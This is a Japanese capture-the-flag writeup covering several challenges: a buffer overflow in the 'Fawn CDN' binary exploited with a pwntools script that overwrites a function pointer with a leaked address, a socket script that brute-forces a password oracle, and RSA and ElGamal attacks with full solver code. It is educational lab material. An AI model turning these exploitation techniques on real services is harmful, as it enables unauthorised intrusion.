この大会は2021/6/12 1:00(JST)~2021/6/14 4:00(JST)に開催されました。
今回もチームで参戦。結果は1471点で291チーム中37位でした。
自分で解けた問題をWriteupとして書いておきます。
[Sanity] (MISC)
Discordに入り、ルールの記載のところで、:thumbsup:のリアクションをしたら、たくさんのチャネルが現れた。現れた#ctf-generalチャネルのトピックにフラグが書いてあった。
CCC{r34dy_s3t_h4ck!!!}
Non Zero Sum Game (MISC)
問題にフラグが書いてあった。
CCC{I_r34lly_w4nt_t0_l0se_p01nts}
[Baby] Building Locator (OSINT)
Discordに入り、#ctf-announcementsチャネルのメッセージを見ると、この問題のフラグが書かれていた。
https://www.taipei-101.com.tw
[Baby] Fawn CDN (PWN)
$ file fawncdn fawncdn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=28b35c5c7f454bbe88ca2eac5f69c05fb5c734fa, for GNU/Linux 3.2.0, with debug_info, not stripped $ checksec.sh --file fawncdn RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH fawncdn
Ghidraでデコンパイルすると、win関数があり、画像を取得できることがわかる。
void win(void) { FILE *__stream; size_t __nmemb; void *__ptr; size_t fs; FILE *fp; uint8_t *buf; __stream = fopen("fawn.jpg","r"); fseek(__stream,0,2); __nmemb = ftell(__stream); rewind(__stream); __ptr = calloc(__nmemb,1); fread(__ptr,1,__nmemb,__stream); fclose(__stream); fwrite(__ptr,1,__nmemb,stdout); free(__ptr); return; }
$ gdb -q ./fawncdn Reading symbols from ./fawncdn...done. gdb-peda$ start [----------------------------------registers-----------------------------------] RAX: 0x555555555493 (<main>: endbr64) RBX: 0x0 RCX: 0x5555555555f0 (<__libc_csu_init>: endbr64) RDX: 0x7fffffffdf48 --> 0x7fffffffe290 ("CLUTTER_IM_MODULE=xim") RSI: 0x7fffffffdf38 --> 0x7fffffffe277 ("/mnt/hgfs/Shared/fawncdn") RDI: 0x1 RBP: 0x5555555555f0 (<__libc_csu_init>: endbr64) RSP: 0x7fffffffde58 --> 0x7ffff7a03bf7 (<__libc_start_main+231>: mov edi,eax) RIP: 0x555555555493 (<main>: endbr64) R8 : 0x7ffff7dced80 --> 0x0 R9 : 0x7ffff7dced80 --> 0x0 R10: 0x0 R11: 0x0 R12: 0x555555555260 (<_start>: endbr64) R13: 0x7fffffffdf30 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555555490 <deliver+62>: nop 0x555555555491 <deliver+63>: leave 0x555555555492 <deliver+64>: ret => 0x555555555493 <main>: endbr64 0x555555555497 <main+4>: push rbp 0x555555555498 <main+5>: mov rbp,rsp 0x55555555549b <main+8>: sub rsp,0x30 0x55555555549f <main+12>: mov rax,QWORD PTR fs:0x28 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde58 --> 0x7ffff7a03bf7 (<__libc_start_main+231>: mov edi,eax) 0008| 0x7fffffffde60 --> 0x1 0016| 0x7fffffffde68 --> 0x7fffffffdf38 --> 0x7fffffffe277 ("/mnt/hgfs/Shared/fawncdn") 0024| 0x7fffffffde70 --> 0x100008000 0032| 0x7fffffffde78 --> 0x555555555493 (<main>: endbr64) 0040| 0x7fffffffde80 --> 0x0 0048| 0x7fffffffde88 --> 0xca952ce7b30069c4 0056| 0x7fffffffde90 --> 0x555555555260 (<_start>: endbr64) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Temporary breakpoint 1, main () at fawncdn.c:46 46 fawncdn.c: そのようなファイルやディレクトリはありません. gdb-peda$ p win $1 = {void (void)} 0x555555555390 <win> gdb-peda$ c Continuing. ________ ________ ________ ________ |\ _____\\ ____\|\ ___ \|\ ___ \ \ \ \__/\ \ \___|\ \ \_|\ \ \ \\ \ \ \ \ __\\ \ \ \ \ \ \\ \ \ \\ \ \ \ \ \_| \ \ \____\ \ \_\\ \ \ \\ \ \ \ \__\ \ \_______\ \_______\ \__\\ \__\ \|__| \|_______|\|_______|\|__| \|__| 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> 1 {" error ": "CDN contains no content at 0x555555555390"} 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. 1.を選択すると、win関数のアドレスが表示される。 >|sh| gdb-peda$ r Starting program: /mnt/hgfs/Shared/fawncdn ________ ________ ________ ________ |\ _____\\ ____\|\ ___ \|\ ___ \ \ \ \__/\ \ \___|\ \ \_|\ \ \ \\ \ \ \ \ __\\ \ \ \ \ \ \\ \ \ \\ \ \ \ \ \_| \ \ \____\ \ \_\\ \ \ \\ \ \ \ \__\ \ \_______\ \_______\ \__\\ \__\ \|__| \|_______|\|_______|\|__| \|__| 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Please choose a valid option! 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> Please choose a valid option! 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> Please choose a valid option! 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> Please choose a valid option! 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> Please choose a valid option! 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> 3 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x41416741414b4141 ('AAKAAgAA') RBX: 0x0 RCX: 0x1999999999999999 RDX: 0x0 RSI: 0xffffffda RDI: 0xa ('\n') RBP: 0x7fffffffde50 --> 0x5555555555f0 (<__libc_csu_init>: endbr64) RSP: 0x7fffffffde20 --> 0x7ffff7de3b40 (<_dl_fini>: push rbp) RIP: 0x5555555555a0 (<main+269>: call rax) R8 : 0x7fffffffde31 --> 0x414134000a4c000a ('\n') R9 : 0x0 R10: 0x7ffff7b80c40 --> 0x2000200020002 R11: 0xa ('\n') R12: 0x555555555260 (<_start>: endbr64) R13: 0x7fffffffdf30 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555555595 <main+258>: call 0x5555555551b0 <printf@plt> 0x55555555559a <main+263>: jmp 0x5555555555c9 <main+310> 0x55555555559c <main+265>: mov rax,QWORD PTR [rbp-0x10] => 0x5555555555a0 <main+269>: call rax 0x5555555555a2 <main+271>: jmp 0x5555555555c9 <main+310> 0x5555555555a4 <main+273>: mov rax,QWORD PTR [rip+0x2a8d] # 0x555555558038 <bye> 0x5555555555ab <main+280>: mov rsi,rax 0x5555555555ae <main+283>: lea rdi,[rip+0xc9c] # 0x555555556251 No argument [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde20 --> 0x7ffff7de3b40 (<_dl_fini>: push rbp) 0008| 0x7fffffffde28 --> 0x300000000 0016| 0x7fffffffde30 --> 0x4134000a4c000a33 ('3\n') 0024| 0x7fffffffde38 ("AJAAfAA5AAKAAgAA") 0032| 0x7fffffffde40 ("AAKAAgAA") 0040| 0x7fffffffde48 --> 0x1af86f22e343f900 0048| 0x7fffffffde50 --> 0x5555555555f0 (<__libc_csu_init>: endbr64) 0056| 0x7fffffffde58 --> 0x7ffff7a03bf7 (<__libc_start_main+231>: mov edi,eax) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV main () at fawncdn.c:71 71 in fawncdn.c gdb-peda$ patto AAKAAgAA AAKAAgAA found at offset: 88
以下の方針でwin関数を実行し、画像を取得する。
・1.を選択し、win関数のアドレスを取得 ・88バイト+win関数アドレスを入力し、returnアドレスを上書きする。 ・win関数実行で取得した画像を保存する。
from pwn import * if len(sys.argv) == 1: p = remote('35.224.135.84', 1001) else: p = process('./fawncdn') data = p.recvuntil('> ') print data + '1' p.sendline('1') data = p.recvuntil('> ') win_addr = eval(data.split('\n')[0].split(' ')[-1][:-2]) payload = 'A' * 88 payload += p64(win_addr) print data + payload p.sendline(payload) data = p.recvrepeat(10) print data + '3' p.sendline('3') data = p.recvuntil('\xff\xd9') with open('fawn.jpg', 'wb') as f: f.write(data)
実行結果は以下の通り。
[+] Opening connection to 35.224.135.84 on port 1001: Done [*] '/mnt/hgfs/Shared/fawncdn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ________ ________ ________ ________ |\ _____\\ ____\|\ ___ \|\ ___ \ \ \ \__/\ \ \___|\ \ \_|\ \ \ \\ \ \ \ \ __\\ \ \ \ \ \ \\ \ \ \\ \ \ \ \ \_| \ \ \____\ \ \_\\ \ \ \\ \ \ \ \__\ \ \_______\ \_______\ \__\\ \__\ \|__| \|_______|\|_______|\|__| \|__| 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> 1 {" error ": "CDN contains no content at 0x558610cbe390"} 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90��\x86U\x00 Please choose a valid option! 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> Please choose a valid option! 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> Please choose a valid option! 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> Please choose a valid option! 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> Please choose a valid option! 1. List files. 2. Choose files. 3. Deliver files. 4. Quit. cmd> 3 [*] Closed connection to 35.224.135.84 port 1001
読みにくいが、画像にフラグが書いてある。
CCC{th3y_w3r3nt_ly1ng_th1s_CDN_c4n_d3l1v3r}
[Baby] Artform (REV)
Ghidraでデコンパイルする。
undefined8 FUN_00101189(void) { long in_FS_OFFSET; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_28 = 0x625f3368745f7434; local_20 = 0x7d68357572; local_38 = 0x316c5f317b434343; local_30 = 0x33625f30745f336b; memset(&local_38,0x41,0x20); printf("You like to paint? You know what I say to that? %s!",&local_38); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
フラグらしきコード部分をデコードする。
>>> int(0x316c5f317b434343).to_bytes(8, byteorder='little') b'CCC{1_l1' >>> int(0x33625f30745f336b).to_bytes(8, byteorder='little') b'k3_t0_b3' >>> int(0x625f3368745f7434).to_bytes(8, byteorder='little') b'4t_th3_b' >>> int(0x7d68357572).to_bytes(5, byteorder='little') b'ru5h}'
CCC{1_l1k3_t0_b34t_th3_bru5h}
[Baby] Guardian (REV)
Ghidraでデコンパイルする。
undefined8 main(void) { long lVar1; char *__s; size_t sVar2; char *__s_00; char *pcVar3; ulong uVar4; long in_FS_OFFSET; lVar1 = *(long *)(in_FS_OFFSET + 0x28); setup(); __s = (char *)getflag(); if (__s != (char *)0x0) { sVar2 = strlen(__s); __s_00 = (char *)calloc(1,sVar2 + 2); if (__s_00 != (char *)0x0) { __printf_chk(1,"%s\n\nHOOOOOOOOOO Goes there? Do you have the password?\n> ",owl); pcVar3 = fgets(__s_00,(int)sVar2 + 1,stdin); if (pcVar3 != (char *)0x0) { if (sVar2 != 0) { uVar4 = 0; do { while( true ) { if (__s_00[uVar4] != __s[uVar4]) { puts("\nHoo hoo hoo!\nThat is incorrect, my guardian."); goto LAB_00101336; } uVar4 = uVar4 + 1; __printf_chk(1,&DAT_0010200f); if ((uVar4 & 7) != 0) break; putchar(10); if (uVar4 == sVar2) goto LAB_001012ff; } } while (uVar4 != sVar2); } LAB_001012ff: puts("\nWe will do our best.....you have fought well."); if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } } } LAB_00101336: /* WARNING: Subroutine does not return */ exit(0); }
フラグの先頭から1文字ずつチェックをし、チェックで不一致になるまで、チェックマークを表示している。先頭の文字から順にブルートフォースでフラグを割り出せばよい。
import socket import time def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) finish = False flag = '' while True: for code in range(32, 127): try_flag = flag + chr(code) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('35.224.135.84', 2000)) data = recvuntil(s, '\n> ') print data + try_flag s.sendall(try_flag + '\n') try: data = recvuntil(s, '.\n').rstrip() print data except: finish = True break if data.count('\xe2\x9c\x85 ') == len(try_flag): flag += chr(code) break time.sleep(1) if finish: break flag += '}' print flag
実行結果は以下の通り。
: touch: cannot touch '/var/log/xinetdlog': Permission denied !WWWWWeeu.. ..ueeWWWWW! "$$( R$$e$$R )$$" "$8oeeo. "*" .oeeo8$" .$$#"""*$i i$*"""#$$. 9$" @*c $$ $$F @*c $N 9$ NeP $$ $$L NeP $$ `$$uuuuo$$ $$uuuuu$$" x$P**$$P*$"$P#$$$*R$L x$$ #$k #$F :$P` '#$i $$ #$ # $$ #$k d$" '$L x$F '$$ $$ '$E 9$> 9$> $6 $F ?$> 9$> $$ d$ '$& 8$ "$k x$$ !$k :$$ #$b u$$L 9$b. $$" '#$od$#$$u....u$P$Nu@$" ..?$R)..?R$$$$*" #$P $$$$$$$$$$$$$$@WWWW$NWWW `````""3$F""""#$F""""""" @$.... '$B d$$$$$$$$$$: ```````````` HOOOOOOOOOO Goes there? Do you have the password? > CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r> ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ Hoo hoo hoo! That is incorrect, my guardian. touch: cannot touch '/var/log/xinetdlog': Permission denied !WWWWWeeu.. ..ueeWWWWW! "$$( R$$e$$R )$$" "$8oeeo. "*" .oeeo8$" .$$#"""*$i i$*"""#$$. 9$" @*c $$ $$F @*c $N 9$ NeP $$ $$L NeP $$ `$$uuuuo$$ $$uuuuu$$" x$P**$$P*$"$P#$$$*R$L x$$ #$k #$F :$P` '#$i $$ #$ # $$ #$k d$" '$L x$F '$$ $$ '$E 9$> 9$> $6 $F ?$> 9$> $$ d$ '$& 8$ "$k x$$ !$k :$$ #$b u$$L 9$b. $$" '#$od$#$$u....u$P$Nu@$" ..?$R)..?R$$$$*" #$P $$$$$$$$$$$$$$@WWWW$NWWW `````""3$F""""#$F""""""" @$.... '$B d$$$$$$$$$$: ```````````` HOOOOOOOOOO Goes there? Do you have the password? > CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r? ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ Hoo hoo hoo! That is incorrect, my guardian. touch: cannot touch '/var/log/xinetdlog': Permission denied !WWWWWeeu.. ..ueeWWWWW! "$$( R$$e$$R )$$" "$8oeeo. "*" .oeeo8$" .$$#"""*$i i$*"""#$$. 9$" @*c $$ $$F @*c $N 9$ NeP $$ $$L NeP $$ `$$uuuuo$$ $$uuuuu$$" x$P**$$P*$"$P#$$$*R$L x$$ #$k #$F :$P` '#$i $$ #$ # $$ #$k d$" '$L x$F '$$ $$ '$E 9$> 9$> $6 $F ?$> 9$> $$ d$ '$& 8$ "$k x$$ !$k :$$ #$b u$$L 9$b. $$" '#$od$#$$u....u$P$Nu@$" ..?$R)..?R$$$$*" #$P $$$$$$$$$$$$$$@WWWW$NWWW `````""3$F""""#$F""""""" @$.... '$B d$$$$$$$$$$: ```````````` HOOOOOOOOOO Goes there? Do you have the password? > CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r? CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r?}
CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r?}
[Baby] RSA (CRYPTO)
eが小さく、Nが大きいため、Low Public Exponent Attackで復号する。
import gmpy from Crypto.Util.number import * e = 3 ct = 1112413624683819960899152482895461211039349964898672381675850025556800617245120168928400758297834676330400246617472191750627367991315450127361583383350639760738254818244740474313061192563860605923503717 m = gmpy.root(ct, e)[0] flag = long_to_bytes(m) print flag
復号結果は以下の通り。
short_and_to_the_point
flag{short_and_to_the_point}
[Baby] Meadows (CRYPTO)
seedが設定されているので、ランダム値がわかる。あとは逆算していけばよい。
import random from Crypto.Util.number import * random.seed(0x1337) with open('out-d5123fb523dc13ee5ffd01ba2ab51d90.txt', 'r') as f: enc = eval(f.read()) g = enc[0][0] p = enc[0][1] flag = '' for c in enc[1:]: m = (c * inverse(pow(g, random.randrange(2, p - 1), p), p)) % p flag += chr(m) print flag
CCC{f13ld5_4nd_1nv3rs3s}
[Baby] CRT RSA (CRYPTO)
RSA暗号のeが3で、3つのn, cのペアがある。Hastad's Broadcast Attackで復号する。
import functools from Crypto.Util.number import * def chinese_remainder(n, a): sum = 0 prod = functools.reduce(lambda a, b: a*b, n) for n_i, a_i in zip(n, a): p = prod // n_i sum += a_i * mul_inv(p, n_i) * p return sum % prod def mul_inv(a, b): b0 = b x0, x1 = 0, 1 if b == 1: return 1 while a > 1: q = a // b a, b = b, a%b x0, x1 = x1 - q * x0, x0 if x1 < 0: x1 += b0 return x1 def inv_pow(c, e): low = -1 high = c+1 while low + 1 < high: m = (low + high) // 2 p = pow(m, e) if p < c: low = m else: high = m m = high assert pow(m, e) == c return m e = 3 n_1 = 18313667803478867336609004721464541537328973484305462826796382793855753159667702339443214415676107219128019719918729781240367765840170011546130583192904778311406642412055832301895834234050092458894891378245659415453668079516268277621821820816314253525389030994411875738859521385775378994318680298110895022910442167872459649446752807884859578440573460451717182770603357201261838877834565082113563029377616922987738400092690457439097525425733191455006127272117318175252557137776704423298751249687687982939242399995960217891670545776591917279437324424655966555374035972380565105603454122721599641307596329237684195317587 n_2 = 20194467459457647060586516996478370472351267218473917410062391619804366508155615598555934151439965040658239840971767337317396956926547783621869694734101324546348705982578129843495046800965472146299498824698092002656707267929600194580016819675385334043852783023251749457877096316831425135876783876607713235344100191162140401175616183217075255611260047339942560958156070307547443884997807476833178558920808584815204100121025788968550385803770908539890673979000205479656826535064665232908045866184941964720268186377486138453445647534884078844954199823059749774156922214595091852691529313493766002778666818883664405832403 n_3 = 28410407035821399633105602414308666083186296658943720122869492873011020714858272525924383333651592284428901214906611872460164447581815587883155804582069085992375163808745662275133491411336915996399762543519217523867565162464721135784726071214566835068379436095952306868321574023543552212709114558637219985795158790999008762464781584235742497782435874814916996914994622843458737648796476512273155699038887480170809464170867427859436811167822162365878701943537205202829629515767060354955288883378511576712085561459099352295975180411538002583505384685029771639657760193592641463091670959570110199839193007853012047792951 ct_1 = 4361068625491121585959284487341364298014917091167459186815285529598354735142456720602466259897053502006543584155650414108053083187715487460414552189153473176328972836654051104002438654670972840351138096724369732822616030793769716381154959736278166838792024300286881567007214354013293287163863182681969888796359513260199887574592768851482378233523702226160031879160962727499277063367162956148498154268271025542127905089334411348063974019724471911095717624141476012283069088544181538863919281957631181754200250370777952217187591480953121517810770662230820689692425877920149973485291740351240601042031554568416165653801 ct_2 = 7454119914503246454695225608366998910502362663575277057804461920278767763248677179908320434252341988720062910948247234833145541538721789767567216822524509307779250204983551429213791107932957166581434644890426988090302661172536864772938094552788386232242044947782405157429008368192073663951594129377676752306905041733416517122507652313240587554617250337508737466749142455332827859556080609592971327915921976414897414103328089640910405224692254001370474817181338600658683188149268215440111576616804026782469078580075278163035385301354208954742090806396419312598674668782737577467445931682124259183904307994197406247889 ct_3 = 475431757150415548038120878675026605258081422958849322189947529651864550511016854432752841608067858620795144603286556404827027829790131339932716728168413658428417455936312330389421287814427992302961543375036809563812960151703062899930161470602633031599828887098914730417799654684023064362771853376591221374617439483919394574339804160488928252982891682671342232959007865677713493662084854838321612782206385687329676060126776093320146302404930844788632687207893577657763961310494363939265885733023621969573701702862867184316968075660702024069750913111874157011920933780381567012981148057478008081618456449117864142394 N = [n_1, n_2, n_3] C = [ct_1, ct_2, ct_3] a = chinese_remainder(N, C) for n, c in zip(N, C): assert a % n == c m = inv_pow(a, e) flag = long_to_bytes(m) print flag
復号結果は以下の通り。
That there is such a thing as raw, unalloyed, agendaless kindness. That it is possible to fall asleep during an anxiety attack. That concentrating on anything is very hard work. flag{infi_nite_jes_t}
flag{infi_nite_jes_t}